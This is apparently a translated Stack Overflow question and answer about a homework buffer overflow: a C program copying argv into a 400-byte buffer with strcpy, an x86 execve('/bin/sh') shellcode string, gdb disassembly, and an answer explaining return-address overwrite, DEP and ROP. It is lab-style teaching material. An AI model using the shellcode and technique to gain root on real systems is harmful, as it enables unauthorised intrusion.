我有一些关于缓冲区溢出的作业。

int func1(char *str) {
    char buffer[400];
    strcpy(buffer,str);
    printf("%s\n", buffer);
}

int main(int argc, char *argv[]) {
    func1(argv[1]);
}


这是我的bufferoverflow.c,我也有shellcode.txt

\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68


目标是使用bufferoverflow获得root权限。
但是,我不知道该怎么办。
我使用“ gdb”,关于main和func1函数的问题。
但是,汇编代码并没有给我很多信息。

函数main的汇编代码转储:

0x08048422 <+0>:    push   %ebp
0x08048423 <+1>:    mov    %esp,%ebp
0x08048425 <+3>:    and    $0xfffffff0,%esp
0x08048428 <+6>:    sub    $0x10,%esp
0x0804842b <+9>:    mov    0xc(%ebp),%eax
0x0804842e <+12>:   add    $0x4,%eax
0x08048431 <+15>:   mov    (%eax),%eax
0x08048433 <+17>:   mov    %eax,(%esp)
0x08048436 <+20>:   call   0x80483f4 <func1>
0x0804843b <+25>:   leave
0x0804843c <+26>:   ret


函数func1的汇编代码转储:

0x080483f4 <+0>:    push   %ebp
0x080483f5 <+1>:    mov    %esp,%ebp
0x080483f7 <+3>:    sub    $0x1a8,%esp
0x080483fd <+9>:    mov    0x8(%ebp),%eax
0x08048400 <+12>:   mov    %eax,0x4(%esp)
0x08048404 <+16>:   lea    -0x198(%ebp),%eax
0x0804840a <+22>:   mov    %eax,(%esp)
0x0804840d <+25>:   call   0x8048314 <strcpy@plt>
0x08048412 <+30>:   lea    -0x198(%ebp),%eax
0x08048418 <+36>:   mov    %eax,(%esp)
0x0804841b <+39>:   call   0x8048324 <puts@plt>
0x08048420 <+44>:   leave
0x08048421 <+45>:   ret

最佳答案

如果要进行缓冲区溢出攻击。
首先,您必须找到某种方法来从其正常过程中破坏易受攻击程序的控制流,然后
其次,您必须使程序以您选择的方式运行。

在您的情况下,func1的缓冲区容量为400个字符,并且不检查输入的边界。因此,您可以发送400个以上的字符并以您的方式覆盖堆栈中func1的返回地址。

您可以使用传统的堆栈粉碎攻击来实现第二个目的。那就是将代码注入func1,并且堆栈上修改后的返回地址指向此代码。
但是,大多数现代体系结构和OS所提供的DEP通常可以防御堆栈破坏攻击。

最有效的方法是使用ROP攻击。 ROP攻击不会在目标程序中注入代码。它找到系统中已经存在的一些小工具(例如libc),然后将这些小工具链接在一起以完成攻击(在您的情况下获得root权限)。
ROP shellcode包含这些小工具的地址和一些数据。
我不检查您的shell代码是否为ROP shellcode。

有关ROP的更多详细信息:
[1]面向返回的程序设计:系统,语言和应用程序
[2]面向返回的编程。 http://en.wikipedia.org/wiki/Return-oriented_programming

关于linux - 利用bufferoverflow shellcode,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/27362810/

10-13 06:00